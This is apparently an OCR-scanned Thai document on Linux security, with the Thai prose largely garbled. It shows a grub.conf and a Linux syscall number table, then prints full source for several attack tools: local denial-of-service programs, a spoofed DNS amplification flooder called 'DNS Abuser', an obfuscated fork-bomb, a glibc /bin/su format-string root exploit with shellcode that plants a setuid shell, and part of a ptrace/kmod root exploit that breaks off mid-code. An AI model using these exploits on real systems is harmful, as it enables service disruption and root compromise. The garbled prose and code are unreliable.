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# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file

# NOTICE: You do not have a /boot partition. This means that

# all kernel and initrd paths are relative to /, eg.

# root (hd0,6)

# kernel /boot/vmlinuz-version ro root=/dev/hda7
# initrd /boot/initrd-version.img

#boot=/dev/hda

default=0
timeout=10
splashimage=(hd0,6) /boot/grub/splash.xpm.gz
title RedHat Linux (2.4.20-8)
root (hd0,6)
kernel /boot/vmlinuz-2.4.20-8 ro root=LABEL=/1
initrd /boot/initrd-2.4.20-8.img
title RedHat 7.0
rootnoverify (hd0,5)
kernel /boot/vmlinuz-2.2.16-22 ro root=/dev/hda6
title RedHat 6.1
rootnoverify (hd0,4)
kernel /boot/vmlinuz-2.2.12-20 ro root=/dev/hdab

initrd /boot/initrd-2.2.12-20.img
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MANUIN Y
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2.1 ssuuluanisdyndisaudn vasdu 6.1

stuudfUamsayndisaudn nasdu 6.1 lddmuadauazvainaianda-
N 13 luuWa /usr/sre/linux-2.2.12/include/asm-i386 /unistd.h Mwusznay 2.1
fhugeuazmnaasdaiinaaaiilfnuiussuuanadumsyngn dedamumsinnuua
Tuswaasnuhenasiaiinneaiignidanldaniudamwissnau 2.1 usswanawaiimidu
Haanmnaweiduiusiusudovasdafivaeatiy  lumshauesmagaumayngnas
Wasuedaiuaaalmiilumnswanuiildmuual i

_exit 1 Iseek 19 kill 37
fork 2 getpid 20 rename 38
read 3 mount 21 mkdir 39
write 4 umount 22 rmdir 40
open 5 setuid 23 dup 41
close 6 getuid 24 pipe 42
waitpid 7 stime 25 times 43
creat 8 ptrace 26 prof 44
link 9 alarm 217 brk 45
unlink 10 oldfstat 28 setgid 46
execve 11 pause 29 getgid 47
chdir 12 utime 30 signal 48
time 13 stty 31 geteuid 49
mknod 14 gtty 32 getegid 50
chmod 15 access 33 acct 51
Ichown 16 nice 34 umount2 52
break 17 ftime 35 lock 53
oldstat 18 sync 36 ioctl 54
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fentl 55 uselib 86

mpx 56 swapon 87 ipc 117
setpgid 57 reboot 88 fsync 118
ulimit 58 readdir 89 sigreturn 119
oldolduname 59 mmap 90 clone 120
umask 60 munmap 91 setdomainname 121
chroot 61 truncate 92 uname 122
ustat 62 ftruncate 93 modify_Idt 123
dup2 63 fchmod 94 adjtimex 124
getppid 64 fchown 95 mprotect 125
getpgrp 65 getpriority 96 sigprocmask 126
setsid 66 setpriority 97 create_moduleule 127
sigaction 67 profil 98 init_module 128
sgetmask 68 statfs 99 delete_module 129
ssetmask 69 fstatfs 100 get_kernel_syms 130
setreuid 70 ioperm 101 quotactl 131
setregid 71 socketcall 102 getpgid 132
sigsuspend 72 syslog 103 fchdir 133
sigpending 73 setitimer 104 bdflush 134
sethostname 74 getitimer 105 sysfs 135
setrlimit 75 stat 106 personality 136
getrlimit 76 Istat 107 afs_syscall 137
getrusage 77 fstat 108 setfsuid 138
gettimeofday 78 olduname 109 setfsgid 139
settimeofday 79 iopl 110 _llseek 140
getgroups 80 vhangup 111 getdents 141
setgroups 81 idle 112 _newselect 142
select 82 vm860ld 113 flock 143
symlink 83 wait4 114 msync 144
oldlstat 84 swapoff 115 readv 145
readlink 85 sysinfo 116 writev 146
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getsid

fdatasync

_sysctl

mlock

munlock

mlockall

munlockall
sched_setparam
sched_getparam
sched_setscheduler
sched_getscheduler
sched_yield
sched_get_priority_max
sched_get_priority_min

sched_rr_get_interval

147
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151
152
153
154
155
156
157
158
159
160
161

nanosleep
mremap
setresuid
getresuid
vm86
query_module
poll

nfsservctl
setresgid
getresgid

pretl
rt_sigreturn
rt_sigaction
rt_sigprocmask

rt_sigpending

162
163
164
165
166
167
168
169
170
171
172
173
174
175
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rt_sigtimedwait
rt_sigqueueinfo
rt_sigsuspend
pread

pwrite

chown

getcwd

capget

capset
sigaltstack
sendfile
getpmsg
putpmsg

viork
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get_thread_area
io_setup
io_destroy
io_getevents

10_submit

244
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10_cancel
alloc_hugepages
free_hugepages
exit_group

lookup_dcookie
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sys_epoll_create
sys_epoll_ctl
sys_epoll_wait
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set_tid_address
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2.1 enaglUsunIuNgH denial of service
Tusttn33¢ local denial of service attack against Linux (/dev/log & socket)
vulnerable systems: Linux 2.2.12, Linux 2.2.14, Linux 2.3.99-pre2

#include <sys/types.h>
#include <sys/socket.h>

#include <string.h>
char buf[128 * 1024];

int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for (i = 0; i < bufsize; i++ )
buffi] = ' '+(i%95);
buf[i] = \0’;
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log”, sizeof(SyslogAddr.sa_data) );
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
return O;

}//end program Local Denial of Service attack against Linux (/dev/log & socket)
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TﬂiLLﬂiN Linux kernel local DoS

vulnerable systems: Linux from 2.2 upto 2.4.19

#include <sys/ptrace.h>

struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;

unsigned short ss, __ss;

int main( void )

{
int pid;
char dos[] = "x9AX00\x00\x00\x00\x07\x00";
void (* Icall7)( void ) = (void *) dos;

struct user_regs_struct d;

if( ! ( pid = fork() ) )
{
usleep( 1000 );

(* 1call7)();

else

ptrace( PTRACE_ATTACH, pid, 0, 0 );
while( 1)
{

wait( 0 );



ptrace( PTRACE_GETREGS, pid, 0, &d );
d.eflags I= 0x4100; /* set TF and NT */
ptrace( PTRACE_SETREGS, pid, 0, &d );
ptrace( PTRACE_SYSCALL, pid, 0, 0 );

}
return 1;

}//end program Linux kernel local DoS

Tusun33 DNS Abuser v0.4b

//Exploit code for denial of service attack using DNS

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <arpa/inet.h>

#include <arpa/nameser.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netdb.h>

#include <time.h>

#define [IP_HEAD_BASE 20

#define UDP_HEAD_BASE 8

#define DEF_TIMES 1000

#define DNS_QSIZE 255

#define MAX_QUERYS 25 // maximum buffer size
#define MAX_SERVERS 25 // maximum buffer size
#define CNAME_LENGTH 255 // max CNAME length
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#define DEF_DOMAINS “./domains.txt” // domain list file
#define DEF_QUERYS "./querys.txt” // query list file

struct DNS_MSG {
HEADER head,
char query[DNS_QSIZE];

struct dns_pkt {
struct iphdr ip;
struct udphdr udp;
char data[1000];

struct domain_buff {
int used;

char cname[CNAME_LENGTH];

typedef struct domain_buff tdbuff;

tdbuff dnsquery[MAX_QUERYS]J;

tdbuff domainsf MAX_SERVERS];

unsigned long saddr;

int sd, dptr, gptr; // socket & array pointers
FILE *dd, *qd; // file pointers

int startptr(tdbuff *buff, int buff_limit) // hash function
{
int init = O;

init = getpid() % buff_limit;

while (!buff[init].used)
{
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if (++init > buff_limit) init = O;

}

return init;

void rst_buff(tdbuff *b, int max)

{
memset(b, 0, sizeof(tdbuff)*max);

void readln(FILE *f, tdbuff *buff)
{

int eol = 0,

i=o0;

tdbuff b;

rst_buff(&b, 1);

do
{
b.cname[i] = fgetc(f);
if (!ferror(f))
{
if (!feof(f))
{
if (b.cname[i] == \n")
{
b.cname[i] = \0’;
b.used = 1;
eol = 1;
}
else if ((i+1) >= CNAME_LENGTH)

{



fprintf(stderr, "nInvalid CNAME or invalid file format.

Quitting...\n");
exit(7);

else

it++

else

if (b.cnamel[i] == "\n’)
{
b.cnamel[i] = \0O’;

b.used = 1;

else

fprintf(stderr, "nRead error. Quitting...\n");
exit(6);

}
while ((!ferror(f) && !feof(f)) && !eol);

if (Mferror(f) && !feof(f)) *buff = b;

unsigned long nameResolve(char *hostname)
{
struct in_addr addr;

struct hostent *hostEnt;
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if ((inet_aton(hostname, &addr)) == 0)
{
if (!(hostEnt=gethostbyname(hostname)))
{
fprintf(stderr,\nTarget '%s’ does not exist\n”,hostname);
exit(0);
}
beopy(hostEnt->h_name, (char *)&addr.s_addr,hostEnt->h_length);
}

return addr.s_addr;

void forge (unsigned long daddr, unsigned short psrc, unsigned short pdst)
{

struct sockaddr_in sin;

struct dns_pkt dpk;

struct DNS_MSG killer;

int shoot, len;

// adjust pointer ...

if (gptr < MAX_QUERYS)

{
if(!dnsquery[dptr].used) gptr++;

gptr = 0;
}
dnsquery[gptr].used = 1;

// build packets ...
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memset(&Kkiller, 0, sizeof(killer));

killer.head.id = getpid();
killer.head.rd = 1;
killer.head.aa = O;
killer.head.opcode = QUERY;
killer.head.qr = 0;
killer.head.qdcount = htons(1);
killer.head.ancount = htons(0);
killer.head.nscount = htons(0);

killer.head.arcount = htons(0);

strcat(killer.query, dnsquery[gptr].cname);
killer.query[strlen(dnsquery[gptr].cname) + 2] = OxOOFF;
killer.query[strlen(dnsquery[gptr].cname) + 4] = 0x0001;

memset(&dpk, 0, sizeof(dpk));

dpk.udp.source = psrc;

dpk.udp.dest = pdst;

len = (12 + strlen(killer.query) + 5);
dpk.udp.len = htons(UDP_HEAD_BASE + len);

memcpy(dpk.data, (void*)&killer, len);

dpk.ip.ihl = 5;

dpk.ip.version = 4;

dpk.ip.tos = O;

dpk.ip.tot_len = htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
dpk.ip.frag_off = 0;

dpk.ip.ttl = 64;

dpk.ip.protocol = IPPROTO_UDP;

dpk.ip.saddr = saddr;

dpk.ip.daddr = daddr;
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memset(&sin, 0, sizeof(sin));

sin.sin_family = AF_INET;
sin.sin_port = pdst;

sin.sin_addr.s_addr = daddr;

shoot = sendto(sd ,
&dpk
(IP_HEAD_BASE + UDP_HEAD_BASE + len),
0,
(struct sockaddr *)&sin ,
sizeof(sin)

);

if (shoot < 0) fprintf(stderr, "SPOOF ERROR");

void doomzone (void)
{
unsigned long daddr;
unsigned short psrc, pdest;
// adjust pointer ...
if (dptr < MAX_SERVERS)
{
if(!domains[dptr].used) dptr++;
}

else

{
dptr = 0;

domains[dptr].used = 1;



195

daddr = nameResolve(domains[dptr].cname);
psrc = htons(1024 + (rand()%2000));
pdest = htons(53);

forge(daddr, psrc, pdest);

int main (int argc, char *argv[])
{
int i, sd_opt, code;

unsigned int times = DEF_TIMES;

printf("\n\\n\033[1;32mDNS Abuser v0.4b\033[0m");
printf("\m\033[1;34mDNS-based flooder by Nemo -
http://www.deepzone.org\033[0m");

printf("\n\\033[1;34mBased on FuSyS & Iscaccol work: DOOMDNS -
http://www.sOftpj.org\033[0m\n");

// —>simple<- parameter checking :P

if (arge < 2)

{
fprintf(stderr, "\nUsage: %s <target>", argv[0]);
fprintf(stderr, "\n %s <target> <times> [<dns_servers.txt> <querys.txt>]\n\n", argv[0]);
exit(0);

saddr = nameResolve(argv[1]);

if (argc > 2) times = atoi(argv[2]);

// loading files

if (argc > 3)

{
if ((dd = fopen(argv[4], 't")) == NULL)
{



fprintf(stderr, "\nCannot open domain file. Quitting...\n");
exit(4);

if ((qd = fopen(argv[5], 't")) == NULL)

{
fprintf(stderr, “nCannot open query file. Quitting...\n");
exit(5);

else

if((dd = fopen(DEF_DOMAINS, "r")) == NULL)
{

fprintf(stderr, “nCannot open domain file. Quitting...\n");
exit(4);

if((qd = fopen(DEF_QUERYS, "r")) == NULL)

{
fprintf(stderr, "nCannot open query file. Quitting...\n");
exit(5);

rst_buff(domains, MAX_SERVERS);
rst_buff(dnsquery, MAX_QUERYS);

i=0;
do
{
readIn(dd, &domains[i]);
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i++
}
while ((i < MAX_SERVERS) && !feof(dd));

i=0;

do

{
readln(qd, &dnsquery[i]);
i++;

}
while ((i < MAX_QUERYS) && !feof(qd));

// opening sockets ...
srand(time(NULL));
sd_opt = 1;

if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{

fprintf(stderr, "nSocket error. Quitting...\n");

exit(2);

if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &sd_opt, sizeof(sd_opt)) < 0)
{

fprintf(stderr, “\nIP Error. Quitting...\n");

exit(3);

dptr = startptr(domains, MAX_SERVERS);

gptr = startptr(dnsquery, MAX_QUERYS);

// flooding engine

printf("\n\03 3[1;34mFlooding %s:\033[0Om\n", argv[1]);



while(times--)

{
doomzone();
printf("\033[1;34m.\033[0m");

}

printf("\n\n");

fclose(dd);

fclose(qd);

return(0);

}//end program DNS Abuser v0.4b

TuUsun33 ouch.c local DoS

#define a main
#define b (
#define c int
#define e ,
#define f char
#define g *
#define 1 )
#define j {
#define 1 =
#define m 1
#define n ;
#define p [
#define q +
#define r |
#define s <
#define t }
#define u unlink
#define v for

#define w signal
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#define x fork

#define y system
abcdefgghijcklmnfopbmgmigbmgmigbmqgmigbm
gmigbmgmirljbmgmigbmgmigbmgmigbmgmigbmg
migbhmgmigbmgmigbmgmigbmgmigbmgmigbmqgmigq
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migbmgmigbmgmigbmgmigbmgmigbmgmigbmqgmig
bmgmigbmgmigbmgmigbmgmigbmgmigbmgmigbmgq
migbmgmigmebmgmigbmgmigbmgmigbmgmigbmqgm
iebmgmigbmgmigbmgmigbmgmigbmgmiqbmqmighb
mgqgmigbmgmigbmgmigbmgmigqmebmgmigbmqgmigbm
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gbmgmigbmgmigbmgmigbmgmigbmgmigbmqgmiqbm
gmigbhmgmigbmgmigmebmgmigbmgmigbmgmigbmgq
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mgqgmigbmgmigbmgmigbmgmigbmgmigbmgmigbmqgm
igbmgmiebmgmigbmgmigbmgmigbmgmigbmqgmiqb
mgmigbmgmigbmgmigbmgmiebmgmigbmgmigbmqgm
igbmgmigbmgmiebmgmigbmgmigbmgmigbmqgmighb
mgmigbmgmigbmgmigbmgmigbmgmigbmgmigqbmqm
igmebmgmigbmgmigbmgmigbmgmigbmgmigbmqmi
gbmgmigbmgmigbmgmigbmgmigbmgmigbmgmigbm
gmiebmgmigbmgmigbmgmigbmgmigbmgmigbmqgmi
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bmgmigbmgmigbmgmigbmgmigbmgmigbmgmiebmgq

mismtnubghinvbnksbmgmigbmgmigbmgmigbmqgm
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igbmgmigbmgmigbmgmigbmgmigbmgmigbmgmiqm
nklkgmiwbkeminvbnnijxbinybointt

//end program ouch.c local DoS
2.2 ﬁ'aashﬂﬂsu,nmmjm root compromise

Tusunsa libc-language su.c
/* /bin/su local root exploit */
#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>
#include <sys/stat.h>

#include <fentl.h>

#include <string.h>

#include <getopt.h>

#include <dirent.h>

char *shellcode =

"\x 3 1\xc0\x8 3\xcO\x 1 7\x 3 1\xdb\xcd\x 8 O\xeb”
"x30\x5\x 31 \xcINx 88\x4f\x1 7\x88\x4f\x1a"
"x8d\x5\x 1 0\x8Nx 1 \x8d\x4 T\x 1 8\x89\x4 7"
"x04\x8d\x4 T\x1b\x89\x4 T\x08\x 31\xcO\x 89"
x4 T\x0c\x 8d\x 0f\x8d\x 5 T\x 0c\x 8 3\xcO\x Ob”
"xcd\x80\x 31\xdb\x 8 N\xd8\x 4 O\xcd\x 8 0\xe 8"
\xeb\x X fRxf\x41\x41\x4 1\x4 1\x41\x4 1"

x4 1\x4 1\x4 1\x41\x4 1\x4 1\x4 1\x4 1\x41\x4 1"
"X 2f\x 6 2\x 6 Nx 6e\x 2f\x 7 3\x 6 8\x 30\x2d\x 6 3"
"x30"

“chown root /tmp/kiddO;chmod 4777 /tmp/kidd0”;

char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;



char *msgfmt = “/usr/bin/msgfmt”;

char *objdump = "/usr/bin/objdump”;
char *language = NULL;

char *make_format_string(unsigned long, int, int);

unsigned long get_dtors_addr();

char *make_ret_str(unsigned long, int);

void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();

void search_valid_language();

int main(int argc, char **argv)

{

char execbuf[1024];

unsigned long dtors_addr = 0OXxAABBCCDD;
unsigned long sh_addr = OxBFFFFFFF;
FILE *f;

char *env[3];

char *args[6];

int eat = 0, pad = 0, fd;

char *nop_env;

int offset = 5000;

struct stat st;

int pid, c;

char randfile[1024];

char *args2[2], opt;

printf(“glibc xploit for /bin/su - by Doing <jdoing@bigfoot.com>\n");
printf("Usage: %s [options]\n”, argv[0]);

printf(" -o offset [default: 5000]\n");

printf(" -n nops [default: 12000\n");

printf(” -m path to msgfmt [default: /usr/bin/msgfmt\n");
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printf(” -O path to objdump [default: /usr/bin/objdump\n”);
printf(" -e eat:pad set eat and pad values [default: calculate them]\n");
printf(" -1 language set language used in env var [default: search it\n");

printf("Enjoy \n\n");

while ((opt = getopt(argc, argv, "o:n:m:0O:e:l:")) != EOF)
switch(opt) {
case '0’:
offset = atoi(optarg);
break;
case 'n’:
NOP_LEN = atoi(optarg);
break;
case 'm':
msgfmt = strdup(optarg);
break;
case 'O":
objdump = strdup(optarg);
break;
case ‘e’:
sscanf(optarg, "%i:%i", &eat, &pad);
break;
case 1"

language = (char*) malloc(40 + strlen(optarg));

if (!language) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(language, 0, 40 + strlen(optarg));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
break;
default:



exit(0);

printf("Phase 1. Checking paths and write permisions\n”);
printf(” Checking for %s..."”, msgfmt);
checkfor(msgfmt);

printf(” Checking for %s...", objdump);
checkfor(objdump);

printf(” Checking write permisions on /tmp...");
if (stat("/tmp”, &st) < 0) {
printf("failed. cannot stat /tmp\naborting\n");
exit(0);

if (!(st.st_mode & S_IWOTH)) {
printf("failed. /tmp it’s not +w\naborting\n");
exit(0);

}

printf("Ok\n");

fflush(stdout);

printf(” Checking read permisions on /bin/su...”);

if (stat(”/bin/su”, &st) < 0) {
printf(“failed. cannot stat /bin/su\naborting\n”);
exit(0);

if (!(st.st_mode & S_IROTH)) {
printf(“failed. /bin/su it's not +r\naborting\n”);
exit(0);

}

printf("Ok\n");
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fflush(stdout);

if (!language) {
printf(” Checking for a valid language..."”);
search_valid_language();
printf("Ok\n”");

}

printf(” Checking that %s does not exist...”, LC_MESSAGES);

if (stat(LC_MESSAGES, &st) >= 0) {
printf(“failed. %s exists\naborting\n”, LC_MESSAGES);
exit(0);

}

printf("Ok\n");

fflush(stdout);

printf("Phase 2. Calculating eat and pad values\n ");
srand(time(NULL));

if (eat Il pad) printf("skkiping, values set by user to eat = %i and pad = %i\n", eat,
pad);
else {
calculate_eat_space(&eat, &pad);
printf("done\n eat = %i and pad = %i\n’, eat, pad);
}
fflush(stdout);

sh_addr -= offset;

printf("Phase 3. Creating evil libc.mo and setting environment vars\n”);

fflush(stdout);

mkdir(LC_MESSAGES, 0755);
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chdir(LC_MESSAGES);

noon

f = fopen("libc.po”, "w+");

if (1) |

perror("fopen()");

exit(0);
}
fprintf(f, "msgid \"%%s: invalid option -- %%c\n\"\n");
fprintf(f, " msgstr \"%s\n\"", make_format_string(sh_addr, eat, 0));
fclose(f);

sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo”, msgfmt);
system(execbuf);

nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);

if (!nop_env) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);

env[0] = language;

env[1l] = NULL;

printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
dtors_addr = get_dtors_addr();

printf("done\n .dtors is at 0x%08x\n", dtors_addr);
fflush(stdout);

printf("Phase 5. Compiling suid shell\n");

fflush(stdout);

make_suid_shell();



printf("Phase 6. Executing /bin/su\n");
fflush(stdout);

args[0] = "/bin/su”;

n_nme

args[1

1=
1=
args[2] = make_ret_str(dtors_addr, pad);
args[3] =

1=

args[4

args[5] = NULL;

= nop_env,

sprintf(randfile, ”/tmp/tmprand%:i”, rand());

if (1(pid = fork())) {
close(1);
close(2);
fd = open(randfile, O_CREAT | O_RDWR);
dup2(fd, 1);
dup2(fd, 2);
execve(args[0], args, env);

printf(“failed to exec /bin/su\n”); exit(0);

if (pid < 0)
perror("fork()");
exit(0);

waitpid(pid, &c, 0);
unlink (randfile);
stat("/tmp/kidd0”, &st);

if (!(S_ISUID & st.st_mode)) {
printf("failed to put mode 4777 to /tmp/kiddO\naborting\n”);
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exit(0);

printf(” - Entering rootshell ;-) -\n");
fflush(stdout);

if (I(pid = fork())) {
args2[0] = "/tmp/kidd0”;
args2[1] = NULL;
execve(args2[0], args2, NULL);
printf(“failed to exec /tmp/kiddO\n");
exit(0);

if (pid < 0) |
perror("fork()");
exit(0);

waitpid(pid, &c, 0);

printf("Phase 7. Cleaning enviroment\n");

sprintf(execbuf, "rm -rf %s /tmp/kidd0”, LC_MESSAGES);

system(execbuf);

char ret_make_format[Oxffff];

char *make_format_string(unsigned long sh_addr, int eat, int test)
{

char *ret = ret_make_format;

int ¢, waste;

int hi, lo;



memset(ret, 0, Oxffff);

for (c = 0; ¢ < eat; c++) strcat(ret, "%8x");

waste = 8 *

eat;
hi = (sh_addr & Oxffff0000) >> 16;
lo = (sh_addr & Oxffff) - hi;

if ('test) {
sprintf( &ret[strlen(ret)], "% %0%ux%%hn", hi-waste);
sprintf(&ret[strlen(ret)], "%%0%ux%%hn", 10);

}

else strcat(ret, "% 8x *0x%08x* 9%8x *0x%08x*");

return ret;

unsigned long get_dtors_addr()

{

char exec_buf[1024];

char file[128];

char buf[1024], sect[1024];
FILE *f;

unsigned long ret = 0, tmp1, tmp2, tmp3;

sprintf(file, ”/tmp/tmprand%i”, rand());
sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);
system(exec_buf);

f = fopen(file, "t");

if (1) {
perror("fopen()");
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exit(0);

while (!feof(f)) {
fgets(buf, 1024, f);
sscanf(buf, " %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3);
printf(".”); fflush(stdout);
if (stremp(sect, "dtors”)) continue;
ret = tmp3;
break;

}
unlink(file);

if ('ret) {
printf("error getting the address of .dtors\naborting”);
exit(0);

}

return ret+4;

char ret_make_ret_str[ Oxffff];

char *make_ret_str(unsigned long dtors_addr, int pad)
{

char *ret = ret_make_ret_str, *ptr2;

unsigned long *ptr = (unsigned long*) ret;

int c;

memset(ret, 0, Oxffff);

*ptr = dtors_addr+2;
*(ptr+1) = 0OXAABBCCDD;
*(ptr+2) = dtors_addr;
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ptr2 = &ret[strlen(ret)];
while (pad--)
*(ptr2++) = Oxaa;

return ret;

void calculate_eat_space(int *eatr, int *padr)
{

int eat = 0, pad = O;

char tmpfile[128];

FILE *f;

char execbuf[1024];

int fds[2], tmpfd;

unsigned long test_value = 0OxAABBCCDD;

char *nop_env;

char *env[2];

char *args[6];

char buf[1024];

int 1, pid;

struct stat st;

char *readbuf = NULL, *token;

unsigned long t1, t2;

tmpfile[0] = \O’;

nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);

if (!nop_env) {
printf("malloc failed\naborting\n”);
exit(0);
}
memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
sprintf(&nop_env[NOP_LEN], "%s", shellcode);
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for (eat = 50; eat < 200; eat++) |
for (pad = 0; pad < 4; pad++) {
if (tmpfile[0]) unlink(tmpfile);

chdir("/");

sprintf(execbuf, "rm -rf %s”, LC_MESSAGES);

system(execbuf);

mkdir(LC_MESSAGES, 0755);
chdir(LC_MESSAGES);
f = fopen("libc.po”, "w+");
if (If) {
perror("fopen()");
exit(0);

fprintf(f, "msgid \"%%s: invalid option —- %%c\n\"\n");
fprintf(f, " msgstr \"%s\n\"", make_format_string(Oxbfffffbb, eat,1));
fclose(f);

sprintf(execbuf, “chmod 777 libc.po; %s libc.po -o libc.mo” ,msgfmt);

system(execbuf);

pipe(&fds);

if (!(pid = fork())) {
close(fds[0]);
close(1);
close(2);
dup2(fds[1], 1);
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dup2(fds[1], 2);
env[0] = language;

env[1] = NULL;

args[0] = "/bin/su”;

args[1] = "-";

args[2] = make_ret_str(test_value, pad);
args[3] =

args[4] = nop_env;

args[5] = NULL;

execve(args[0], args, env);

if (pid < 0) |
perror("fork()");
exit(0);

}

close(fds[1]);

sprintf(tmpfile, "/tmp/tmprand%i”, rand());
tmpfd = open(tmpfile, O_RDWR | O_CREAT);

if (tmpfd < 0) {

perror("open()");
exit(0);

while ((1 = read(fds[0], buf, 1024)) > 0)
write(tmpfd, buf, 1);
close(tmpfd);

waitpid(pid, &I, 0);



stat(tmpfile, &st);
chmod(tmpfile, 0777);

f = fopen(tmpfile, "t");

if (1) {
perror("fopen()");
exit(0);

if (readbuf) free(readbuf);
readbuf = (char*) malloc(st.st_size);
if (!readbuf) {
printf("malloc failed\naborting\n”);
exit(0);
}
memset(readbuf, 0, st.st_size);
fread(readbuf, 1, st.st_size, f);
fclose(f);

token = strtok(readbuf, "*");

if (!token) continue;

token = strtok(NULL, "*");

if (!token) continue;
t1 = strtoul(token, NULL, 16);
token = strtok(NULL, "*");

if (!token) continue;

token = strtok(NULL, "*");

if (!token) continue;

t2 = strtoul(token, NULL, 16);
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if (t2 == test_value)
if (t1 == (test_value+2)) {
*eatr = eat;
*padr = pad;
sprintf(execbuf, "rm -rf %s”, LC_MESSAGES);
system(execbuf);
if (tmpfile[0]) unlink(tmpfile);
return;
}
/7 sleep(10);
}
printf(".");
fflush(stdout);

if (tmpfile[0]) unlink(tmpfile);
sprintf(execbuf, "rm -rf %s", LC_MESSAGES);

system(execbuf);

printf(“failed to calculate eat and pad values. glibc patched or
invalid language ?\naborting\n");
exit(0);

void checkfor(char *p)
{
int fd;
fd = open(p, O_RDONLY);

if (fd < 0) {
printf("failed\naborting\n");
exit(0);



close(fd);
printf("Ok\n");
fflush(stdout);

void make_suid_shell()

{

FILE *f;
char execbuf[1024];
f = fopen(”/tmp/kidd0.c”, "w");

if (f)
printf(” failed to create /tmp/kidd0.c\naborting\n");
exit(0);

fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\");}");

fclose();

sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/kidd0");
system(execbuf);
sprintf(execbuf, "rm -f /tmp/kidd0.c");

system(execbuf);

f = fopen(”/tmp/kidd0”, "t");

if (1) {

printf(” failed to compile /tmp/kidd0.c\naborting\n”);
exit(0);

fclose(f);
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printf(” /tmp/kiddO created Ok\n");
fflush(stdout);

void search_valid_language()
{
DIR *locale;

struct dirent *dentry;

locale = opendir(”/usr/share/locale”);

if (!locale) {
perror(“failed to opendir /usr/share/locale”);
printf("aborting\n”);
exit(0);

while (dentry = readdir(locale)) {
if (!strchr(dentry->d_name, '_")) continue;
language = (char*) malloc(40 + strlen(dentry->d_name));
if (!language) {
printf("malloc failed\naborting\n");
exit(0);
}
memset(language, 0, 40 + strlen(dentry->d_name));
sprintf(language, "LANGUAGE=%s/../../../../../../tmp",
dentry->d_name);
closedir(locale);
printf(” [using %s] ", dentry->d_name);
return;
}
printf("failed to find a valid language\naborting\n");
exit(0);
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}//end program libc-language_su.c
Tu5un8 Linux kernel ptrace/kmod local root exploit

#include <grp.h>
#include <stdio.h>
#include <fentl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>

#include <linux/user.h>

char cliphcode[] =
"\x90\x 90\xeb\x 1 f\xb8\xb6\x 00\x 00"
"X00\x5b\x 31\xc Nx 8 IN\xca\xcd\x80”
"\xb8\x 0f\x 00\x 00\x 0 0\xb Nxed\x 0d"
"\x00\x00\xcd\x 8 0\x 8 M\xdO\x 8 9\xd 3"
x4 0\xcd\x 8 O\xe 8\xdc\x fAAx f\x ff";

#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;

pid_t child = 1;

pid_t victim = 1;
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volatile int gotchild = 0;

void fatal(char * msg)

{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);

void putcode(unsigned long * dst)

{
char bufMAXPATHLEN + CODE_SIZE];
unsigned long * src;

int i, len;

memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe”, buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)

fatal("[-] Unable to read /proc/self/exe”);

len += CODE_SIZE + 1;
buf[len] = \0’;

src = (unsigned long*) buf;
for i=0;i<len;i+=4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)

fatal("[-] Unable to write shellcode”);

void sigchld(int signo)
{

struct user_regs_struct regs,



219

if (gotchild++ == 0)

return;

fprintf(stderr, "[+] Signal caught\n”);

if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)

fatal("[-] Unable to read registers”);
fprintf(stderr, "[+] Shellcode placed at 0x%081x\n", regs.eip);
putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)

fatal("[-] Unable to detach from victim");

exit(0);

void sigalrm(int signo)

{

errno = ECANCELED;

fatal("[-] Fatal error”);

void do_child(void)

{

int err;

child = getpid();

victim = child + 1;

signal (SIGCHLD, sigchld);
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do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && ermo == ESRCH);

if (err == -1)
fatal("[-] Unable to attach”);

fprintf(stderr, "[+] Attached to %d\n", victim);

while (!gotchild) ;

if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace”);

fprintf(stderr, "[+] Waiting for signal\n");

for(5;);

void do_parent(char * progname)

{

struct stat st;
int err;
